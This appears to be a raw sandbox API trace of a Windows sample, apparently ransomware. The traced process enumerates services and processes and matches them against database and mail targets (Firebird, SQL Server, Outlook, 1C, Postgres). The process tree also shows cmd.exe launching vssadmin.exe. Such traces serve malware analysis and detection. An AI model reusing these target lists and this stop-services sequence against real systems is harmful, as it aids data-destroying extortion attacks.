lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0222.114] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0222.114] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0222.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0222.114] lstrlenW (lpString="WinDefend") returned 9 [0222.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0222.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0222.114] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0222.114] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0222.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0222.114] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0222.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0222.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0222.115] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0222.115] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0222.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0222.115] lstrlenW (lpString="Winmgmt") returned 7 [0222.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0222.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0222.115] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0222.115] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0222.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0222.115] lstrlenW (lpString="wscsvc") returned 6 [0222.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0222.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0222.115] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0222.115] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0222.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0222.115] lstrlenW (lpString="wuauserv") returned 8 [0222.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0222.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0222.115] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0222.115] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0222.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0222.115] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0222.117] Process32FirstW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.117] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.118] lstrlenW (lpString="System") returned 6 [0222.118] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0222.118] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0222.118] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0222.118] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0222.118] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.119] lstrlenW (lpString="smss.exe") returned 8 [0222.119] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.119] lstrlenW (lpString="csrss.exe") returned 9 [0222.119] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.120] lstrlenW (lpString="wininit.exe") returned 11 [0222.120] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.126] lstrlenW (lpString="csrss.exe") returned 9 [0222.126] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.127] lstrlenW (lpString="winlogon.exe") returned 12 [0222.127] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.128] lstrlenW (lpString="services.exe") returned 12 [0222.128] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.128] lstrlenW (lpString="lsass.exe") returned 9 [0222.128] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0222.130] lstrlenW (lpString="lsm.exe") returned 7 [0222.130] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.130] lstrlenW (lpString="svchost.exe") returned 11 [0222.130] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.131] lstrlenW (lpString="svchost.exe") returned 11 [0222.131] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.132] lstrlenW (lpString="svchost.exe") returned 11 [0222.132] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.133] lstrlenW (lpString="svchost.exe") returned 11 [0222.133] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.134] lstrlenW (lpString="svchost.exe") returned 11 [0222.134] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0222.176] lstrlenW (lpString="audiodg.exe") returned 11 [0222.176] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.177] lstrlenW (lpString="svchost.exe") returned 11 [0222.177] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.177] lstrlenW (lpString="svchost.exe") returned 11 [0222.177] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.178] lstrlenW (lpString="dwm.exe") returned 7 [0222.178] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.179] lstrlenW (lpString="explorer.exe") returned 12 [0222.179] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.179] lstrlenW (lpString="spoolsv.exe") returned 11 [0222.179] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0222.180] lstrlenW (lpString="taskhost.exe") returned 12 [0222.180] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.180] lstrlenW (lpString="svchost.exe") returned 11 [0222.180] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0222.181] lstrlenW (lpString="taskeng.exe") returned 11 [0222.181] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0222.182] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0222.182] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0222.182] lstrlenW (lpString="nova.exe") returned 8 [0222.182] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0222.183] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0222.183] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0222.183] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0222.184] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0222.184] lstrlenW (lpString="picks blair.exe") returned 15 [0222.184] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0222.185] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0222.185] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0222.186] lstrlenW (lpString="principal.exe") returned 13 [0222.186] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0222.186] lstrlenW (lpString="transportation.exe") returned 18 [0222.186] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0222.275] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0222.275] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0222.276] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0222.276] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0222.276] lstrlenW (lpString="planned.exe") returned 11 [0222.276] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0222.277] lstrlenW (lpString="springer andrew.exe") returned 19 [0222.277] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0222.278] lstrlenW (lpString="cakes import.exe") returned 16 [0222.278] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0222.278] lstrlenW (lpString="theory.exe") returned 10 [0222.278] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0222.279] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0222.279] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0222.280] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0222.280] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0222.280] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0222.280] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0222.281] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0222.281] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0222.281] lstrlenW (lpString="indicescancellation.exe") returned 23 [0222.281] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0222.282] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0222.282] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0222.283] lstrlenW (lpString="desk.exe") returned 8 [0222.283] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.284] lstrlenW (lpString="svchost.exe") returned 11 [0222.284] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0222.284] lstrlenW (lpString="sppsvc.exe") returned 10 [0222.285] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.285] lstrlenW (lpString="svchost.exe") returned 11 [0222.285] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.286] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0222.286] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0222.286] lstrlenW (lpString="winhost.exe") returned 11 [0222.286] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0222.287] lstrlenW (lpString="cmd.exe") returned 7 [0222.287] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0222.288] lstrlenW (lpString="conhost.exe") returned 11 [0222.288] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0222.288] lstrlenW (lpString="vssadmin.exe") returned 12 [0222.288] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0222.289] lstrlenW (lpString="VSSVC.exe") returned 9 [0222.289] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.292] lstrlenW (lpString="svchost.exe") returned 11 [0222.292] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0222.292] CloseHandle (hObject=0x21c) returned 1 [0222.292] Sleep (dwMilliseconds=0x1f4) [0223.017] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640018 [0223.018] EnumServicesStatusExW (in: hSCManager=0x640018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0223.018] GetLastError () returned 0xea [0223.019] EnumServicesStatusExW (in: hSCManager=0x640018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fc1078, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fc1078, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0223.019] CloseServiceHandle (hSCObject=0x640018) returned 1 [0223.019] lstrlenW (lpString="Appinfo") returned 7 [0223.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0223.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0223.020] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0223.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0223.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0223.020] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0223.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.020] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0223.020] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0223.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0223.020] lstrlenW (lpString="AudioSrv") returned 8 [0223.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0223.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0223.020] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0223.020] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0223.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0223.020] lstrlenW (lpString="BFE") returned 3 [0223.020] 